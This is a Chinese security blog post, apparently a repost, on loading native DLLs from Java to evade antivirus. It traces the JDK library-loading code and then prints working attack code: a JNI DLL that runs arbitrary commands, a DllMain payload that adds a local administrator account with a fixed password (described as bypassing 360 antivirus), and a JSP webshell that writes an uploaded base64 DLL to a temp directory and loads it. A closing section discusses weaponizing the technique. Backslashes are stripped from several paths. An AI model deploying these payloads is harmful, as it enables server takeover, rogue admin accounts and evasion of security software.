初探java加载动态链接库

admin 2023年3月23日11:37:30评论133 views字数 7841阅读26分8秒阅读模式

前言

前两天学习了DLL,又看到了文章,利用java加载动态链接库绕过杀软:通过动态链接库绕过反病毒软件Hook - Break JVM

后部分的内容有点深入,所以浅显的学习一下整体思路。环境:jdk1.8_181、win11、vs2022、win10

java加载动态链接库

个人理解,java.exe加载动态链接库有什么用?

感觉有点类似白加黑,直接在DLL里调用win-api去执行一些敏感操作,比如添加用户,shellcode执行,可以避免一些cmd的执行,因为现在webshell都是利用cmd.exe去执行。

java加载动态链接库常见有三种方法

  • System.load / System.loadLibrary

  • Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary

  • com.sun.glass.utils.NativeLibLoader.loadLibrary

前两个的load与loadLibrary有一些区别

  • load接收的是绝对路径

  • loadLibrary接收的是相对路径,不能含有 ,可通过目录穿越到达 jdk安装所在盘或用户环境变量所在盘下的任意路径,进行加载动态库,调用时不需要动态库的后缀,会自动加上。linux系统应该可以达到任意目录,windows下应该就不行了

loadDll.java

public class loadDll {    public static void main(String[] args) throws Exception {        String path1 = "C:\Users\cys\Desktop\Dll3.dll";        String path2 = "../../../../../Dll3";  // "../../../../../users/admin/desktop/Dll3";        RuntimeLoad(path);        //NativeLoad(path2);    }    static void RuntimeLoad(String path){        Runtime.getRuntime().load(path);        //Runtime.getRuntime().loadLibrary(path);    }
static void SystemLoad(String path){ System.load(path); //System.loadLibrary(path); } static void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); Object c = Native.newInstance(); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.setAccessible(true); Load.invoke(c,path); } }}

计算器dll

初探java加载动态链接库

流程分析

Runtime.getRuntime().load

调用了 Runtime.getRuntime().load0 方法,在这其中会判断路径是否为 绝对路径 然后调用 ClassLoader#loadLibrary

初探java加载动态链接库

判断系统变量路径是否为空,为空就进行初始化。如果传入路径为 绝对路径 则调用 ClassLoader#loadLibrary0

初探java加载动态链接库

loadLibrary0 中判断ClassLoader是否加载过该链接库

初探java加载动态链接库

然后实例化 NativeLibrary 对象,添加到 nativeLibraryContext 中,然后调用 load 方法去加载动态链接库

初探java加载动态链接库

load为native方法

初探java加载动态链接库

System.load

直接调用 Runtime.getRuntime().load0 流程同上

初探java加载动态链接库

Runtime.getRuntime().loadLibrary

调用 Runtime.getRuntime().loadLibrary0 判断 传入的path不能含有 

初探java加载动态链接库

直接 ClassLoader.loadLibrary,这里传入false,代表不是绝对路径, findLibrary 去寻找动态库的文件名

初探java加载动态链接库

如果没找到,从 jdk安装路径与用户环境变量路径下去寻找库, System.mapLibraryName 会根据平台自动加上后缀,windows自动在末尾添加 .dll,接着调用 ClassLoader#loadLibrary0

初探java加载动态链接库

findBuiltinLib 检查是否是内置的动态链接库,Hotspot JNI库文件加载源码解析CSDN博客

初探java加载动态链接库

最后加载

初探java加载动态链接库

System.loadLibrary

直接调用 Runtime.getRuntime().loadLibrary0 流程同上

初探java加载动态链接库

NativeLibLoader.loadLibrary

提一嘴为什么反射调用

com.sun.glass.utils.NativeLibLoader反射调用是因为在 jdkjavafx-src.zip!comsunglassutilsNativeLibLoader.java,在不同的版本的jdk中javafx并不是都存在的。

loadLibraryInternal ->loadLibraryFullPath

初探java加载动态链接库

loadLibraryFullPath 绝对路径会加载成功

初探java加载动态链接库

loadLibraryFullPath 失败后,遍历环境变量去调用,这里用相对路径,总有一款适合你!

初探java加载动态链接库

dll编写

vs编写

直接vs进行编写,见 初探DLL劫持 | Y0ng的博客

但是有一个意外情况,在新的win10虚拟机中,单单调用一个calc的dll竟然失败了,尝试了下发现是,我写的dll需要其他依赖库的支持,但是win10虚拟机中并没有这个库,导致无法加载恶意的dll。解决方法就是vs把其他库一起打包喽,运行库选择 /MT

初探java加载动态链接库

虽然产生的dll很大,不过也算成功执行了。

初探java加载动态链接库

JNI 技术

慢慢了解到 JNI 技术,

  • 定义一个native修饰的方法

  • 使用javah进行编译

  • 编写对应的c语言代码

  • 使用gcc编译成dll文件

  • 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用

loadDll.java,定义native方法

public class loadDll {    public static void main(String[] args) throws Exception {        String dllpath = "D:\java-sec\Dll\src\cmd.dll";        System.load(dllpath);
String cmd = exec("calc"); System.out.println(cmd); } public static native String exec(String cmd);}

生成.h文件

javah -cp . loadDll

生成的头文件,loadDll.h

#include <jni.h>
#ifndef _Included_loadDll#define _Included_loadDll#ifdef __cplusplusextern "C" {#endif
JNIEXPORT jstring JNICALL Java_loadDll_exec (JNIEnv *, jclass, jstring);
#ifdef __cplusplus}#endif#endif

编写命令执行的c文件,Command.c

#include "loadDll.h"#include <string.h>#include <stdio.h>#include <sys/types.h>#include <unistd.h>#include <stdlib.h>
int execmd(const char *cmd, char *result){ char buffer[1024*12]; //定义缓冲区 FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败
while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); } } _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功}JNIEXPORT jstring JNICALL Java_loadDll_exec(JNIEnv *env, jobject class_object, jstring jstr){
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); }
char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system();
return cmdresult;}

编译为dll

gcc -I"%JAVA_HOME%include" -I"%JAVA_HOME%includewin32" -shared -o cmd.dll Command.c

加载dll,成功。

初探java加载动态链接库

利用

这方面利用感觉比较多了,添加用户,命令执行,内网穿透,开启远程登录等等。

在有360情况下添加用户

初探java加载动态链接库

dll中加上微软示例的添加用户代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <windows.h>#include <string.h>#include <lmaccess.h>#include <lmerr.h>#include <Tchar.h>#pragma comment(lib,"netapi32.lib")
DWORD CreateAdminUserInternal(void){ NET_API_STATUS rc; BOOL b; DWORD dw;
USER_INFO_1 ud; LOCALGROUP_MEMBERS_INFO_0 gd; SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :) BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR); TCHAR Domain[256];
// // Create user // http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx //
memset(&ud, 0, sizeof(ud));
ud.usri1_name = (LPWSTR)TEXT("audit"); // username ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set ud.usri1_script_path = NULL;
rc = NetUserAdd( NULL, // local server 1, // information level (LPBYTE)&ud, NULL // error value );
if (rc != NERR_Success) { _tprintf(_T("NetUserAdd FAIL %d 0x%08xrn"), rc, rc); return rc; }
// // Get user SID // http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx //
b = LookupAccountName( NULL, // local server _T("audit"), // account name Sid, // SID &cbSid, // SID size Domain, // Domain &cbDomain, // Domain size &snu // SID_NAME_USE (enum) );
if (!b) { dw = GetLastError(); _tprintf(_T("LookupAccountName FAIL %d 0x%08xrn"), dw, dw); return dw; }
// // Add user to "Administrators" local group // http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx //
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers( NULL, // local server _T("Administrators"), 0, // information level (LPBYTE)&gd, 1 // only one entry );
if (rc != NERR_Success) { _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08xrn"), rc, rc); return rc; }
return 0;}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateAdminUserInternal(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

需要一个管理员身份才有权限添加用户。成功绕过杀软添加用户。

初探java加载动态链接库

师傅的项目里还有RDP以及dump内存等代码

jsp

直接搬来大佬的jsp,通过base64解密后写入随机命名的dll,然后进行load。可拓展为反序列化,JNDI注入等等。

<%@ page import="java.io.RandomAccessFile" %><%!    // 获取随机的动态链接库文件名称    private String getFileName(){        String fileName = "";        java.util.Random random = new java.util.Random(System.currentTimeMillis());        String os = System.getProperty("os.name").toLowerCase();        if (os.contains("windows")){            fileName = "C:\Windows\Temp\" + random.nextInt(10000000) + ".dll";        }else {            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";        }        return fileName;    }    // JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代    public String UploadBase64DLL(java.io.InputStream stream) throws Exception {        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();        java.io.File file = new java.io.File(getFileName());        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);        fos.write(b.decodeBuffer(stream));        fos.close();        return file.getAbsolutePath();    }
private void RuntimeLoad(String path){ Runtime.getRuntime().load(path); }
private void SystemLoad(String path){ System.load(path); } // 有些JDK版本没有这个对象,因此采用反射加载进行运行 private void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.invoke(path); } }//</jsp:declaration>%>
<% out.print("OK"); //加载方式 String method = request.getHeader("WWW-Authenticate");
try{ ServletInputStream stream = request.getInputStream(); if (stream.available() == 0){ out.println(System.getProperty("os.arch")); return; } String file = UploadBase64DLL(stream); // 按照Header头选择加载方式 switch (method){ case "1": RuntimeLoad(file); break; case "2": SystemLoad(file); break; case "3": NativeLoad(file); break; default: RuntimeLoad(file); break; } }catch (Exception e){ System.out.println(e.toString()); }%>

成功写入

初探java加载动态链接库

武器化思考

浅显的思考可利用的地方

  • 编写多功能DLL,按需执行其中的特定功能

  • dll与spring有没有一些利用

  • 能否实现无文件落地加载dll

Rvn0xsy项目代码:Rvn0xsy/j2osWin (github.com)

参考

Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)

JNI 安全基础 · 攻击Java Web应用(javasec.org)

通过动态链接库绕过反病毒软件Hook - Break JVM

Java加载动态链接库 - 跳跳糖 (tttang.com)

原文始发于微信公众号(Arr3stY0u):初探java加载动态链接库

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月23日11:37:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探java加载动态链接库http://cn-sec.com/archives/1623367.html

发表评论

匿名网友 填写信息